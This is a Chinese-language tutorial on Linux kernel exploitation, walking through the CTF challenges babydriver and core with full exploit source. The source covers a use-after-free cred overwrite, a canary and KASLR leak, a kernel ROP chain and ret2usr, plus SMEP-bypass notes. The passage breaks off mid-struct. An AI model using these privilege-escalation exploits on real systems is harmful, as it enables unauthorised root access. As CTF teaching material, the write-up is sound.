介于本人在入门kernel pwn的时候觉得当前trick种类繁多,前置知识也多得吓人,有点不知所措,且有些大佬的博客经常对一些我个人认为比较重要的点一句话带过,导致缺乏经验的我在学习过程中屡屡碰壁。所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。
在开始看这篇文章之前,我希望小伙伴们已经掌握了kernel pwn一些最基本的操作,例如装好kernel pwn所需要的的前置环境。这一部分内容的优秀教程并不少。
另外,如果在阅读的过程中发现任何问题,都欢迎来和我交流指正。
在学习kernel pwn之前,需要搭建好很多前置环境
至于具体的安装过程并不在本文的讨论范围内,如果还没完成,先自行百度解决
kernel题一般都会给出一个打包好的文件系统,因此需要掌握常用到的打包/解包命令
1
2
|
find . | cpio
-
o
-
-
format
=
newc > .
/
rootfs.cpio
cpio
-
idmv < .
/
rootfs.cpio
|
(有时解包出来很奇怪,可能是原始cpio文件其实是以gz格式压缩后的,先gunzip解压一遍)
kernel使用cred结构体记录了进程的权限,如果能劫持或伪造cred结构体,就能改变当前进程的权限。
原型如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers;
/
*
number of processes subscribed
*
/
void
*
put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid;
/
*
real UID of the task
*
/
kgid_t gid;
/
*
real GID of the task
*
/
kuid_t suid;
/
*
saved UID of the task
*
/
kgid_t sgid;
/
*
saved GID of the task
*
/
kuid_t euid;
/
*
effective UID of the task
*
/
kgid_t egid;
/
*
effective GID of the task
*
/
kuid_t fsuid;
/
*
UID
for
VFS ops
*
/
kgid_t fsgid;
/
*
GID
for
VFS ops
*
/
unsigned securebits;
/
*
SUID
-
less security management
*
/
kernel_cap_t cap_inheritable;
/
*
caps our children can inherit
*
/
kernel_cap_t cap_permitted;
/
*
caps we're permitted
*
/
kernel_cap_t cap_effective;
/
*
caps we can actually use
*
/
kernel_cap_t cap_bset;
/
*
capability bounding
set
*
/
kernel_cap_t cap_ambient;
/
*
Ambient capability
set
*
/
#ifdef CONFIG_KEYS
unsigned char jit_keyring;
/
*
default keyring to attach requested
*
keys to
*
/
struct key __rcu
*
session_keyring;
/
*
keyring inherited over fork
*
/
struct key
*
process_keyring;
/
*
keyring private to this process
*
/
struct key
*
thread_keyring;
/
*
keyring private to this thread
*
/
struct key
*
request_key_auth;
/
*
assumed request_key authority
*
/
#endif
#ifdef CONFIG_SECURITY
void
*
security;
/
*
subjective LSM security
*
/
#endif
struct user_struct
*
user;
/
*
real user
ID
subscription
*
/
struct user_namespace
*
user_ns;
/
*
user_ns the caps
and
keyrings are relative to.
*
/
struct group_info
*
group_info;
/
*
supplementary groups
for
euid
/
fsgid
*
/
struct rcu_head rcu;
/
*
RCU deletion hook
*
/
} __randomize_layout;
|
一般而言,我们需要想办法将uid和gid设置为0(root的uid和gid均为0)
如果能劫持到程序流程,执行以下函数也可以达到相同效果:
1
2
|
commit_creds(prepare_kernel_cred(
0
));
commit_creds(init_cred);
|
运行在内核态的函数会和用户态有些许不同
printf
-> kprintf
memcpy
-> copy_to_user / copy_from_user
内核的动态分配并不会采用用户态的glibc,他的堆分配器是SLAB或SLUB。常使用的函数如下:
malloc
-> kmalloc
free
-> kfree
为了安全考虑,内核态也只能运行内核态的函数(smep),想要运行system
等函数,必须手动切换回用户态。
常用的指令是swapgs
和iretq
(或者swapgs_restore_regs_and_return_to_usermode
函数,直接对CR3
寄存器的第13位取反来完成切换页表的操作,该函数在KPTI开启的版本中依然有效,而swapgs往往会寄)
然后需要在栈上存一些上下文:
1
2
3
4
5
6
7
8
9
10
11
12
|
struct pt_regs {
/
*
......................
*
/
/
*
Return frame
for
iretq
*
/
unsigned
long
ip;
unsigned
long
cs;
unsigned
long
flags;
unsigned
long
sp;
unsigned
long
ss;
/
*
top of stack page
*
/
};
|
以babydriver这题为例,先使用脚本extract-vmlinux
提取出带符号的源码
1
|
.
/
extract
-
vmlinux .
/
bzImage > .
/
vmlinux
|
(脚本源码: )
(或者用这个)
在qemu中找到babydriver.ko代码段的起始地址
启动gdb过后导入符号表
1
|
add
-
symbol
-
file
.
/
lib
/
modules
/
4.4
.
72
/
babydriver.ko
0xffffffffc0000000
|
然后在boot.sh
中添加以下参数
(直接-s
也行)
重新启动qemu过后,gdb远程连接
1
|
pwndbg> target remote
127.0
.
0.1
:
1234
|
这里给出我常用的一些打包和调试的脚本
pack.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#!/bin/zsh
gcc \
.
/
exp.c \
-
o exp \
-
masm
=
intel \
-
-
static \
-
g
chmod
777
.
/
exp
find . | cpio
-
o
-
-
format
=
newc > .
/
rootfs.cpio
chmod
777
.
/
rootfs.cpio
|
gdbinit
1
2
3
|
file
.
/
vmlinux
target remote
127.0
.
0.1
:
1234
c
|
为了减小远程exp的体积,使用musl进行静态编译()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import
sys
import
os
from
pwn
import
*
import
string
context.log_level
=
'debug'
sla
=
lambda
x,y : p.sendlineafter(x,y)
sa
=
lambda
x,y : p.sendafter(x,y)
ru
=
lambda
x : p.recvuntil(x)
p
=
remote(
'127.0.0.1'
,
1234
)
def
send_cmd(cmd):
sla(
'$ '
, cmd)
def
upload():
lg
=
log.progress(
'Upload'
)
with
open
(
'exp'
,
'rb'
) as f:
data
=
f.read()
encoded
=
base64.b64encode(data)
encoded
=
str
(encoded)[
2
:
-
1
]
for
i
in
range
(
0
,
len
(encoded),
300
):
lg.status(
'%d / %d'
%
(i,
len
(encoded)))
send_cmd(
'echo -n "%s" >> benc'
%
(encoded[i:i
+
300
]))
send_cmd(
'cat benc | base64 -d > bout'
)
send_cmd(
'chmod +x bout'
)
lg.success()
os.system(
'musl-gcc -w -s -static -o3 exp.c -o exp'
)
upload()
p.interactive()
|
这是ciscn2017年的一道经典kernel pwn入门题。
解压rootfs.cpio
后,在/lib/modules/4.4.72
中找到了LKM文件babydriver.ko
checksec只开了nx,且没有去除符号表,很方便调试和分析
直接丢ida分析
1
2
3
4
5
6
7
|
int
__fastcall babyrelease(inode
*
inode,
file
*
filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk(
"device release\n"
);
return
0
;
}
|
在babyrelease
中kfree()之后没有将babydev_struct.device_buf
清空,从而导致了uaf漏洞
而且babydev_struct
是一个babydevice_t
类型的公共变量,结构如下。
1
2
3
4
5
|
struct babydevice_t
{
char
*
device_buf;
size_t device_buf_len;
};
|
device_buf
是存一个缓冲区的指针,device_buf_len
存该缓冲区大小。
其他的函数都很常规,
babyopen
在打开一个设备的时候简单设置了一下babydev_struct
的值
1
2
3
4
5
6
7
8
|
int
__fastcall babyopen(inode
*
inode,
file
*
filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf
=
(char
*
)kmem_cache_alloc_trace(kmalloc_caches[
6
],
0x24000C0LL
,
0x40LL
);
babydev_struct.device_buf_len
=
64LL
;
printk(
"device open\n"
);
return
0
;
}
|
babywrite
和babyread
都只检查了一下device_buf
指针是否为空和是否越界, 然后对device_buf
进行常规的读写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
ssize_t __fastcall babywrite(
file
*
filp, const char
*
buffer
, size_t length, loff_t
*
offset)
{
size_t v4;
/
/
rdx
ssize_t result;
/
/
rax
ssize_t v6;
/
/
rbx
_fentry__(filp,
buffer
);
if
( !babydev_struct.device_buf )
return
-
1LL
;
result
=
-
2LL
;
if
( babydev_struct.device_buf_len > v4 )
{
v6
=
v4;
copy_from_user();
result
=
v6;
}
return
result;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
ssize_t __fastcall babyread(
file
*
filp, char
*
buffer
, size_t length, loff_t
*
offset)
{
size_t v4;
/
/
rdx
ssize_t result;
/
/
rax
ssize_t v6;
/
/
rbx
_fentry__(filp,
buffer
);
if
( !babydev_struct.device_buf )
return
-
1LL
;
result
=
-
2LL
;
if
( babydev_struct.device_buf_len > v4 )
{
v6
=
v4;
copy_to_user(
buffer
);
result
=
v6;
}
return
result;
}
|
babyioctl
比较有意思,当第二个参数command
为0x10001
时,可以重新kmalloc
一块指定大小的object到babydev_struct.device_buf
,从而修改了babydev_struct
的device_buf_len
为一个新值。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
__int64 __fastcall babyioctl(
file
*
filp, unsigned
int
command, unsigned __int64 arg)
{
size_t v3;
/
/
rdx
size_t v4;
/
/
rbx
__int64 result;
/
/
rax
_fentry__(filp, command);
v4
=
v3;
if
( command
=
=
0x10001
)
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf
=
(char
*
)_kmalloc(v4,
0x24000C0LL
);
babydev_struct.device_buf_len
=
v4;
printk(
"alloc done\n"
);
result
=
0LL
;
}
else
{
printk(&unk_2EB);
result
=
-
22LL
;
}
return
result;
}
|
至此,利用思路已经非常明显了。
由于babydev_struct
只存在一个,且调用到babyrelease
的时候有uaf漏洞,我们可以open两个设备,然后使用babyioctl
将babydev_struct.device_buf_len
改成cred
结构体的大小之后free掉,造成第二个设备存在一个悬挂指针。
此时再fork()一个新线程,由于kernel的内存分配器采用的是SLUB,之前释放掉的那个和cred结构体相同大小的堆块会直接当成这个线程的cred被申请(kmem_cache_cpu->freelist
是后进先出的,类似于用户态glibc的fastbin,不过object并没有header。另,本题内核版本在4.4.72
,cred结构体的分配此时还并没有被隔离到cred_jar
中)
在这个进程中使用babywrite,便可将cred的gid和uid都设置为0
写好exp过后,由于rootfs.cpio里并没有libc,所以编译的时候要使用静态编译
1
|
gcc exp.c
-
o exp
-
static
|
然后重新打包文件系统,并修改boot.sh
中-initrd
参数为新打包好的文件系统。
此时再打开qemu,运行exp过后便可提权成功。
(由于本做法在高版本不可能适用,且实际意义不大,所以下文将采用一些更"有意思"的做法来提权)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/wait.h>
#include<sys/stat.h>
int
main(){
int
fd1
=
open
(
"/dev/babydev"
, O_RDWR);
int
fd2
=
open
(
"/dev/babydev"
, O_RDWR);
ioctl(fd1,
0x10001
,
0xa8
);
close(fd1);
int
id
=
fork();
if
(
id
<
0
){
printf(
"fork error!\n"
);
exit(
-
1
);
}
else
if
(
id
=
=
0
){
char cred[
0x20
]
=
{
0
};
write(fd2, cred,
0x1c
);
if
(getuid()
=
=
0
){
system(
"/bin/sh"
);
exit(
0
);
}
}
else
{
wait(NULL);
}
return
0
;
}
|
本质上和用户态的rop并无区别,只是目标从getshell变成了提权,并且rop结束部分需要引导程序流着陆回用户态
题目给出了bzImage
, core.cpio
, start.sh
, vmlinux
四个文件。
先将core.cpio解包
发现除了常规文件以外,还多了一个gen_cpio.sh
内容如下:
1
2
3
|
find .
-
print0 \
| cpio
-
-
null
-
ov
-
-
format
=
newc \
| gzip
-
9
> $
1
|
这是一个快速打包用的批处理文件。
看看start.sh
1
2
3
4
5
6
7
8
|
qemu
-
system
-
x86_64 \
-
m
64M
\
-
kernel .
/
bzImage \
-
initrd .
/
core.cpio \
-
append
"root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
\
-
s \
-
netdev user,
id
=
t0,
-
device e1000,netdev
=
t0,
id
=
nic0 \
-
nographic \
|
开启了kaslr保护,并且用-s
为gdb开了端口,所以不需要再-gdb tcp::1234
开了。
不过他设置的64M内存不是很够用,我最终设置到了256M才能启动。
然后分析init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
#!/bin/sh
mount
-
t proc proc
/
proc
mount
-
t sysfs sysfs
/
sys
mount
-
t devtmpfs none
/
dev
/
sbin
/
mdev
-
s
mkdir
-
p
/
dev
/
pts
mount
-
vt devpts
-
o gid
=
4
,mode
=
620
none
/
dev
/
pts
chmod
666
/
dev
/
ptmx
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
echo
1
>
/
proc
/
sys
/
kernel
/
kptr_restrict
echo
1
>
/
proc
/
sys
/
kernel
/
dmesg_restrict
ifconfig eth0 up
udhcpc
-
i eth0
ifconfig eth0
10.0
.
2.15
netmask
255.255
.
255.0
route add default gw
10.0
.
2.2
insmod
/
core.ko
poweroff
-
d
120
-
f &
setsid
/
bin
/
cttyhack setuidgid
1000
/
bin
/
sh
echo
'sh end!\n'
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
|
比较特殊的地方就是将/proc/sys/kernel/kptr_restrict
和/proc/sys/kernel/dmesg_restrict
的内容设为了1
,如此一来,就无法通过dmesg
和查看/proc/kallsyms
来获取函数地址了。
好在他前面有一行
1
|
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
|
将kallsyms
备份到了tmp
文件夹下。
我最终修改过后的init
文件如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
mount
-
t proc proc
/
proc
mount
-
t sysfs sysfs
/
sys
mount
-
t devtmpfs none
/
dev
/
sbin
/
mdev
-
s
mkdir
-
p
/
dev
/
pts
mount
-
vt devpts
-
o gid
=
4
,mode
=
620
none
/
dev
/
pts
chmod
666
/
dev
/
ptmx
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
echo
1
>
/
proc
/
sys
/
kernel
/
kptr_restrict
echo
1
>
/
proc
/
sys
/
kernel
/
dmesg_restrict
ifconfig eth0 up
udhcpc
-
i eth0
ifconfig eth0
10.0
.
2.15
netmask
255.255
.
255.0
route add default gw
10.0
.
2.2
insmod
/
core.ko
chown root:root
/
flag
chmod
400
/
flag
cat
/
sys
/
module
/
core
/
sections
/
.text >
/
tmp
/
info
poweroff
-
d
1200000
-
f &
setsid
/
bin
/
cttyhack setuidgid
1000
/
bin
/
sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
echo
'sh end!\n'
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
|
将core的.text节地址备份出来是为了方便后续gdb加载symbol文件。
而且这个/sys/module/core/sections/.text
是只有root
能读的,直接备份出来比较省事,当然也可以直接修改成root
启动。
此外,为了方便后续打包和调试,我还写了两个批处理文件
1
2
3
4
5
6
7
8
|
root@ubuntu:
/
home
/
kotori
/
Desktop
/
core
# cat pack.sh
rm .
/
core.cpio
.
/
gen_cpio.sh .
/
core.cpio
chmod
777
.
/
core.cpio
root@ubuntu:
/
home
/
kotori
/
Desktop
/
core
# cat mkc.sh
gcc .
/
exp.c
-
o exp
-
-
static
-
masm
=
intel
chmod
777
.
/
exp
sudo .
/
pack.sh
|
接下来就是分析core.ko
的漏洞了
checksec发现开启了canary和nx。
init_module()
和exit_core()
分别注册和注销了/proc/core
,core_release()
什么都没做,这里对它们不作分析。
core_ioctl
中定义了三种操作,分别是调用core_read()
,设置全局变量off
,调用core_copy_func()
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
__int64 __fastcall core_ioctl(__int64 a1,
int
a2, __int64 a3)
{
switch ( a2 )
{
case
0x6677889B
:
core_read(a3);
break
;
case
0x6677889C
:
printk(&unk_2CD);
off
=
a3;
break
;
case
0x6677889A
:
printk(&unk_2B3);
core_copy_func(a3);
break
;
}
return
0LL
;
}
|
core_read
可以将距离rsp
偏移为off
的值往后拷贝0x40个字节给指定缓冲区。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
unsigned __int64 __fastcall core_read(__int64 a1)
{
char
*
v2;
/
/
rdi
__int64 i;
/
/
rcx
unsigned __int64 result;
/
/
rax
char v5[
64
];
/
/
[rsp
+
0h
] [rbp
-
50h
] BYREF
unsigned __int64 v6;
/
/
[rsp
+
40h
] [rbp
-
10h
]
v6
=
__readgsqword(
0x28u
);
printk(&unk_25B);
printk(&unk_275);
v2
=
v5;
for
( i
=
16LL
; i;
-
-
i )
{
*
(_DWORD
*
)v2
=
0
;
v2
+
=
4
;
}
strcpy(v5,
"Welcome to the QWB CTF challenge.\n"
);
result
=
copy_to_user(a1, &v5[off],
64LL
);
if
( !result )
return
__readgsqword(
0x28u
) ^ v6;
__asm { swapgs }
return
result;
}
|
这里利用off
是可以读出canary的。
core_write
是将至多0x800个字节从指定缓冲区复制到name
中去。
1
2
3
4
5
6
7
8
|
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if
( a3 <
=
0x800
&& !copy_from_user(&name, a2, a3) )
return
(unsigned
int
)a3;
printk(&unk_230);
return
0xFFFFFFF2LL
;
}
|
这个core_copy_func
则是本题最大的漏洞点。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result;
/
/
rax
_QWORD v2[
10
];
/
/
[rsp
+
0h
] [rbp
-
50h
] BYREF
v2[
8
]
=
__readgsqword(
0x28u
);
printk(&unk_215);
if
( a1 >
63
)
{
printk(&unk_2A1);
result
=
0xFFFFFFFFLL
;
}
else
{
result
=
0LL
;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return
result;
}
|
当长度参数a1
小于等于63时,便可将name
中对应字节数的数据复制到栈上变量v2
中去,且a1
和63作比较时是有符号数,最后调用qmemcpy
时转成了unsigned __int16
。所以只需要将a1
最低两个字节的数据随便设置成一个能装下name
的长度,然后其余字节都是0xff
就行了。我这里最后构造的a1
是0xffffffffffff0100
。
所以整个攻击流程如下:
off
去读出canary的值core_write
将rop写入name
中core_copy_func
,将name
的内容写入栈上变量v2
中,造成栈溢出,调用commit_creds(prepare_kernel_cred(0))
提权。当然,在写rop之前,还有一个小小的问题需要解决。那就是解决kaslr和pie带来的偏移问题。
原始无pie的vmlinux基址是0xffffffff81000000
commit_creds
的地址是0xffffffff81000000+0x9c8e0
prepare_kernel_creds
的地址是0xffffffff8109cce0
包括后续找到的gadgets的地址,这些全是no-pie情况下的地址,我们还需要知道真正运行起来的时候与之的偏移。
这个其实就可以直接在/tmp/kallsyms
中,利用他给出的commit_creds
或prepare_kernel_cred
此时的地址来计算出来。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
size_t leak_vmlinux_base(){
FILE
*
fd
=
fopen(
"/tmp/kallsyms"
,
"r"
);
if
(fd
=
=
NULL){
puts(
"[-] open file failed."
);
exit(
-
1
);
}
char buf[
0x40
]
=
{
0
};
while
(fgets(buf,
0x30
, fd)!
=
NULL){
if
(strstr(buf,
"commit_creds"
)){
char ptr[
0x18
]
=
{
0
};
strncpy(ptr, buf,
0x10
);
sscanf(ptr,
"%lx"
, &commit_creds);
printf(
"[+] commit_creds: 0x%lx\n"
, commit_creds);
prepare_kernel_cred
=
commit_creds
-
0x9c8e0
+
0x9cce0
;
fclose(fd);
return
commit_creds
-
0x9c8e0
;
}
else
if
(strstr(buf,
"prepare_kernel_cred"
)){
char ptr[
0x18
]
=
{
0
};
strncpy(ptr, buf,
0x10
);
sscanf(ptr,
"%lx"
, &prepare_kernel_cred);
printf(
"[+] prepare_kernel_cred: 0x%lx\n"
, prepare_kernel_cred);
commit_creds
=
prepare_kernel_cred
-
0x9cce0
+
0x9c8e0
;
fclose(fd);
return
prepare_kernel_cred
-
0x9cce0
;
}
}
fclose(fd);
return
0
;
}
|
gadgets的预处理可以用ropper解决(ROPgadget太慢了)
1
|
ropper
-
-
file
.
/
vmlinux
-
-
nocolor > g
|
至于rop的构思的话就非常简单了,先摆好rdi为0,然后调用prepare_kernel_cred
,此时返回值会在rax中,如果有mov rdi, rax; ret
的话将绝杀,可惜没有。
不过好在有类似的好几个,我选择了mov rdi, rax; jmp rcx;
如果在这之前将rcx摆好commit_creds
就很方便了。
然后切换回用户态,iretq; ret
是有的,swapgs就只有swapgs; popfq; ret;
,所以后面要跟一个垃圾数据平衡一下栈。
最后按照rip, cs, rflags, rsp, ss的顺序摆好之前用户态的寄存器就好了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
size_t u_cs, u_rflags, u_rsp, u_ss;
size_t commit_creds, prepare_kernel_cred;
void save_status(){
__asm__(
"mov u_cs, cs;"
"pushf;"
"pop u_rflags;"
"mov u_rsp, rsp;"
"mov u_ss, ss;"
);
}
void set_off(
int
fd,
int
offset){
ioctl(fd,
0x6677889c
, offset);
}
size_t leak_canary(
int
fd){
size_t temp[
0x10
]
=
{
0
};
set_off(fd,
0x40
);
ioctl(fd,
0x6677889b
, temp);
return
temp[
0
];
}
size_t leak_vmlinux_base(){
FILE
*
fd
=
fopen(
"/tmp/kallsyms"
,
"r"
);
if
(fd
=
=
NULL){
puts(
"[-] open file failed."
);
exit(
-
1
);
}
char buf[
0x40
]
=
{
0
};
while
(fgets(buf,
0x30
, fd)!
=
NULL){
if
(strstr(buf,
"commit_creds"
)){
char ptr[
0x18
]
=
{
0
};
strncpy(ptr, buf,
0x10
);
sscanf(ptr,
"%lx"
, &commit_creds);
printf(
"[+] commit_creds: 0x%lx\n"
, commit_creds);
prepare_kernel_cred
=
commit_creds
-
0x9c8e0
+
0x9cce0
;
fclose(fd);
return
commit_creds
-
0x9c8e0
;
}
else
if
(strstr(buf,
"prepare_kernel_cred"
)){
char ptr[
0x18
]
=
{
0
};
strncpy(ptr, buf,
0x10
);
sscanf(ptr,
"%lx"
, &prepare_kernel_cred);
printf(
"[+] prepare_kernel_cred: 0x%lx\n"
, prepare_kernel_cred);
commit_creds
=
prepare_kernel_cred
-
0x9cce0
+
0x9c8e0
;
fclose(fd);
return
prepare_kernel_cred
-
0x9cce0
;
}
}
fclose(fd);
return
0
;
}
void get_root_shell(){
if
(getuid()
=
=
0
)
system(
"/bin/sh"
);
else
{
puts(
"[-] get root shell failed."
);
exit(
-
1
);
}
}
void rop(
int
fd, size_t canary, size_t offset){
size_t name[
0x100
]
=
{
0
};
/
/
-
-
-
-
gadgets
-
-
-
-
size_t pop_rdi
=
0xffffffff81000b2f
;
/
/
pop rdi; ret;
size_t mov_rdi_rax_jmp_rcx
=
0xffffffff811ae978
;
/
/
mov rdi, rax; jmp rcx;
size_t pop_rcx
=
0xffffffff81021e53
;
/
/
pop rcx; ret;
size_t swapgs_popfq
=
0xffffffff81a012da
;
/
/
swapgs; popfq; ret;
size_t iretq
=
0xffffffff81050ac2
;
/
/
iretq; ret;
int
idx
=
0
;
for
(idx
=
0
;idx<
10
;idx
+
+
)
name[idx]
=
canary;
name[idx
+
+
]
=
pop_rdi
+
offset;
name[idx
+
+
]
=
0
;
name[idx
+
+
]
=
prepare_kernel_cred;
name[idx
+
+
]
=
pop_rcx
+
offset;
name[idx
+
+
]
=
commit_creds;
name[idx
+
+
]
=
mov_rdi_rax_jmp_rcx
+
offset;
name[idx
+
+
]
=
swapgs_popfq
+
offset;
name[idx
+
+
]
=
0
;
name[idx
+
+
]
=
iretq
+
offset;
name[idx
+
+
]
=
(size_t)get_root_shell;
/
/
rip
name[idx
+
+
]
=
u_cs;
name[idx
+
+
]
=
u_rflags;
name[idx
+
+
]
=
u_rsp;
name[idx
+
+
]
=
u_ss;
write(fd, name,
0x800
);
puts(
"[+] rop loaded."
);
ioctl(fd,
0x6677889a
, (
0xffffffffffff0100
));
}
int
main(){
save_status();
int
fd
=
open
(
"/proc/core"
, O_RDWR);
size_t canary
=
leak_canary(fd);
printf(
"[+] canary: 0x%lx\n"
, canary);
size_t vmlinux_base
=
leak_vmlinux_base();
if
(!vmlinux_base){
printf(
"[-] leak base failed.\n"
);
exit(
-
1
);
}
size_t vmlinux_base_no_pie
=
0xffffffff81000000
;
size_t offset
=
vmlinux_base
-
vmlinux_base_no_pie;
printf(
"[+] offset: 0x%lx\n"
, offset);
rop(fd, canary, offset);
return
0
;
}
|
之前使用kernel rop的方法打下来了core这道题。但其实,默认情况下,虽然内核态的函数在用户空间下是无法运行的,但用户态的函数在内核空间却可以运行,因此我们可以在用户空间构造好commit_creds(prepare_kernel_cred(0))
,然后在内核空间以ring 0
权限来运行它。
利用这一点,可以对core的exp作出局部调整:
get_root
函数
1
2
3
4
5
|
void get_root(){
void
*
(
*
cc)(char
*
)
=
commit_creds;
char
*
(
*
pkc)(
int
)
=
prepare_kernel_cred;
(
*
cc)((
*
pkc)(
0
));
/
/
commit_creds(prepare_kernel_cred(
0
));
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
for
(idx
=
0
;idx<
10
;idx
+
+
)
name[idx]
=
canary;
/
*
name[idx
+
+
]
=
pop_rdi
+
offset;
name[idx
+
+
]
=
0
;
name[idx
+
+
]
=
prepare_kernel_cred;
name[idx
+
+
]
=
pop_rcx
+
offset;
name[idx
+
+
]
=
commit_creds;
name[idx
+
+
]
=
mov_rdi_rax_jmp_rcx
+
offset;
*
/
name[idx
+
+
]
=
(size_t)get_root;
name[idx
+
+
]
=
swapgs_popfq
+
offset;
name[idx
+
+
]
=
0
;
name[idx
+
+
]
=
iretq
+
offset;
name[idx
+
+
]
=
(size_t)get_root_shell;
/
/
rip
name[idx
+
+
]
=
u_cs;
name[idx
+
+
]
=
u_rflags;
name[idx
+
+
]
=
u_rsp;
name[idx
+
+
]
=
u_ss;
|
仍然可以成功提权。
(不过此方法在不久之后出现KPTI页表隔离保护之后就完全没法利用了,)
smep保护使得内核态也不能执行内核空间的代码了,因此直接ret2usr会失败。
(与之相近的保护机制是smap,他能让内核空间无法直接访问用户空间的数据)
不过是否开启smep保护是记录在cr4
寄存器上的。
cr4
寄存器的第20位为1
时SMEP就视为开启,为0
则视为关闭。
既然知道了判断是否开启smep的机制,那么bypass思路也很清晰了。只需要利用某些gadgets来修改cr4寄存器的值即可。(通常改成0x6f0,同时关闭smep和smap。不过控制cr4的gadgets在高版本无了)
这里用ret2usr的方法再解决一遍babydriver这道题。
查看boot.sh
,发现开启了smep。
1
2
3
4
5
|
qemu
-
system
-
x86_64 \
-
initrd rootfs.cpio \
-
kernel bzImage \
-
append
'console=ttyS0 root=/dev/ram nopti oops=panic panic=1'
\
-
enable
-
kvm
-
monitor
/
dev
/
null
-
m
256M
-
-
nographic
-
smp cores
=
1
,threads
=
1
-
cpu kvm64,
+
smep
|
所以我们需要用rop来关闭smep,然后再ret2usr提权。
可是这道题的洞是uaf,如何达成rop的目的呢?这里就需要用到tty_struct
和tty_operation
这两个结构体了。
他们的原型分别如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
struct tty_struct {
int
magic;
struct kref kref;
struct device
*
dev;
struct tty_driver
*
driver;
const struct tty_operations
*
ops;
int
index;
/
*
Protects ldisc changes: Lock tty
not
pty
*
/
struct ld_semaphore ldisc_sem;
struct tty_ldisc
*
ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/
*
Termios values are protected by the termios rwsem
*
/
struct ktermios termios, termios_locked;
struct termiox
*
termiox;
/
*
May be NULL
for
unsupported
*
/
char name[
64
];
struct pid
*
pgrp;
/
*
Protected by ctrl lock
*
/
struct pid
*
session;
unsigned
long
flags;
int
count;
struct winsize winsize;
/
*
winsize_mutex
*
/
unsigned
long
stopped:
1
,
/
*
flow_lock
*
/
flow_stopped:
1
,
unused:BITS_PER_LONG
-
2
;
int
hw_stopped;
unsigned
long
ctrl_status:
8
,
/
*
ctrl_lock
*
/
packet:
1
,
unused_ctrl:BITS_PER_LONG
-
9
;
unsigned
int
receive_room;
/
*
Bytes free
for
queue
*
/
int
flow_change;
struct tty_struct
*
link;
struct fasync_struct
*
fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void
*
disc_data;
void
*
driver_data;
spinlock_t files_lock;
/
*
protects tty_files
list
*
/
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int
closing;
unsigned char
*
write_buf;
int
write_cnt;
/
*
If the tty has a pending do_SAK, queue it here
-
akpm
*
/
struct work_struct SAK_work;
struct tty_port
*
port;
} __randomize_layout;
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
struct tty_operations {
struct tty_struct
*
(
*
lookup)(struct tty_driver
*
driver,
struct
file
*
filp,
int
idx);
int
(
*
install)(struct tty_driver
*
driver, struct tty_struct
*
tty);
void (
*
remove)(struct tty_driver
*
driver, struct tty_struct
*
tty);
int
(
*
open
)(struct tty_struct
*
tty, struct
file
*
filp);
void (
*
